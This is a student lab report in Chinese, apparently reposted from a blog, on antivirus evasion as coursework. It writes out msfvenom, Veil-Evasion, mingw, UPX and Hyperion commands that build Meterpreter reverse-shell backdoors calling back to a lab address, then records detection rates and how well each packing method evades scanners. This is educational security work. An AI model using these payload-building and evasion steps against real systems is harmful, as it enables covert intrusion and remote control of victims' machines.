Exp3 免杀原理与实践 20164309
實踐內容
任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧
1.1MSF編碼器
直接使用上次實驗的20164309_backdoor.exe試試
看來文件名違法了,那改名為164309_backdoor。
改名后直接被清理。??磥砺惚嫉暮箝T的確不好使。
?
找回文件添加進信任區,對其進行掃描
?
virscan57%的殺軟報毒
有業界毒瘤之稱的百度殺毒沒查出來。。。(可喜可賀的是百度殺毒于去年11月份停止運營)
?
再在virustotal上試試,51個殺軟報毒
?看來大部分正常的殺毒軟件都能夠識別直接用msf生成的病毒
?
?
?1.2veil-evasion
?輸入sudo apt-get install veil-evasion? 下載veil-evasion工具
?
在嘗試過老師的實驗指導同學的實驗報告和網絡的各種方法之后,我花費了一天還是沒有展開那幾個veil文件,拷貝了同學的kali使用veil進行生成。
輸入?veil?進入veil工具
輸入 use evasion 進入veil-evasion
輸入?use c/meterpreter/rev_tcp.c 選擇C語言、tcp端口、反彈回連
輸入?set LHOST 192.168.236.131? ?set LPORT 4309?設置反彈ip和端口
輸入?generate 生成文件并命名為4309_veil
掃描發現還是報毒
?
?
?
1.3msfvenom生成php和jar
?分別使用
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar?
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php?
?生成php和jar的shellcode文件
?
?php表現較好
?
但這個不是可執行文件,沒有可比性
?再看看jar
?
virscan(7/49)?virustotal(33/57)嚴重懷疑virscan放水
?
?1.3shellcode
?
輸入?msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成后門
?進入?vim 4309shellcode.c 進行修改,加上函數頭、主函數與文件頭,完善為合法的C語言文件
?使用?i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可執行文件
?
?
電腦上的騰訊管家并未報毒,共存成功,那運行豈不是也能成功了?后來發現結果發現的確如此
這就算實現了???(后面發現并非如此)
?
1.4使用加殼工具
輸入?upx 4309shellcode.exe -o 4309shellcodeupx.exe?
騰訊管家沒有報毒
?
任務二:通過組合應用各種技術實現惡意代碼免殺
再對該文件進行加密?cd /usr/share/windows-binaries/hyperion/?
??wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe?
加密之后報毒猛增!
?
看來殺軟可能是根據壓縮、加密殼里的字段進行判斷是否為病毒的
?運行看看
?
拷貝時沒有被查殺,能夠共存,但運行時出現了問題,看來騰訊管家還是有一些用的,放入白名單,發現回連成功。
?
?
再在虛擬機上復現,發現還是沒能夠實現回連(除非白名單伺候)
看來在2014年的騰訊管家就對其有一定的限制了,我認為對于不加殼的是反匯編分析源代碼內容,發現程序頭文件調用系統資源;而加殼加密的是直接查找有關的特征代碼從而查找出病毒。
免殺路漫漫,我還是試一下python能不能夠實現吧
?
使用
use python/meterpreter/rev_tcp.exe生成python文件試試
?
?
輸入?pip install pyinstaller??pyinstaller -F 4309py.py 對生成的文件進行編譯,轉換成exe文件
?
???還是失敗
?
那我想試試加殼到底能不能幫助免殺呢???
源文件采用上學期的操作系統實驗代碼
?
這都給我報毒???
改成英文名在kali上加殼加密
使用? upx caozuoxitong.exe -o caozuoxitongupx.exe 進行加殼
使用?wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 進行加密
大好河山一片紅。。。
?一個普通exe文件通過壓縮加密之后反而報毒更多,看來剛剛的猜想被證實了,殺軟通過殼里的特征碼來進行殺毒的!!那在不手工修改代碼的情況下肯定是難以實現的了。
?基礎問題回答
1.殺軟是如何檢測出惡意代碼的?
通過編譯惡意代碼,或者發現其中的特征代碼以實現,就像本次實驗中的加殼反而會被報毒;
通過代碼運行時的行為,就像本次實驗中有的能與殺軟共存,但是一旦運行還是會被清理;
2. 免殺是做什么?
通過一些手段使惡意代碼不被目標主機發現
3.免殺的基本方法有哪些?
手工對惡意代碼進行更改,研究病毒庫中的特征碼,再對特征碼進行更改
4.開啟殺軟能絕對防止電腦中惡意代碼嗎?
不一定,但是大部分的能夠防止,殺軟的病毒庫是根據檢測出來的病毒更新的,所謂道高一尺魔高一丈,惡意代碼總有新的漏洞可以利用。
?實驗感想
根據本次實驗,以我們大多數人現在的水平,還沒有達到通過編程直接生成病毒來實現入侵的水平,就算有,通過殺軟通過編譯偽裝好的病毒也能夠找出問題。而實驗中的常規方法早已被各大殺軟摸清楚底細,而且像我們用meterpreter生成的shellcode文件在運行時會生成meterpreter.o文件,這是調用系統資源的必要步驟,所以也許我們的后門能夠共存,但是在不改變其根本結構的情況下不可能進行免殺,無論是對shellcode進行異或還是加殼最后編譯完成的機器碼是肯定會被檢測出來的。而對于那些殼來說(尤其是加密殼)我們越是使用它反而被查殺的幾率越大。盡管我沒能完成回連,但是我用盡了我能夠想到的方法,最起碼做到了問心無愧。
?
轉載于:https://www.cnblogs.com/20164309-kx/p/10633005.html
總結
以上是生活随笔為你收集整理的Exp3 免杀原理与实践 20164309的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Exp2 后门原理与实践 2016430
- 下一篇: Exp4 恶意代码分析 20164309